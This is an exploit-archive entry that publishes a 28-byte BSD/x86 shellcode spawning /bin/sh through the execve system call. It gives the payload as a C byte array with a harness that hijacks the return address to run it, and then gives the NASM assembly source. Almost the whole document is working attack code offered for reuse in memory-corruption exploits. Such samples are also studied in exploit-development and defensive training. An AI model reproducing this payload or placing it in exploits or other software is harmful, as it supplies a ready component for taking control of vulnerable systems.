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BSD/x86 - execve (/bin/sh) Shellcode (28 bytes)
/* simply execve_binsh shellcode in 28 bytes written on nasm - my first nasm exp. greetz2: mig #darknet /EFnet.org dev0id #rus-sec /EFnet.org (rootteam.void.ru) */ char shellcode[] = "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b\x50\xcd" "\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; void main() { int *ret; ret=(int*)&ret+2; (*ret)=(int)shellcode; } /**************************************** nasm code is: ---------------start-------------------- BITS 32 jmp short path main: pop esi xor eax,eax mov byte [esi+7],al push eax push eax push esi mov al,59 push eax int 0x80 ;mov al,1 need ? I do not! ;push eax ;int 0x80 path: call main db '/bin/sh' ---------------end---------------------- compilation: %nasm code.s -o code ****************************************/ # 0day.today [2024-12-24] #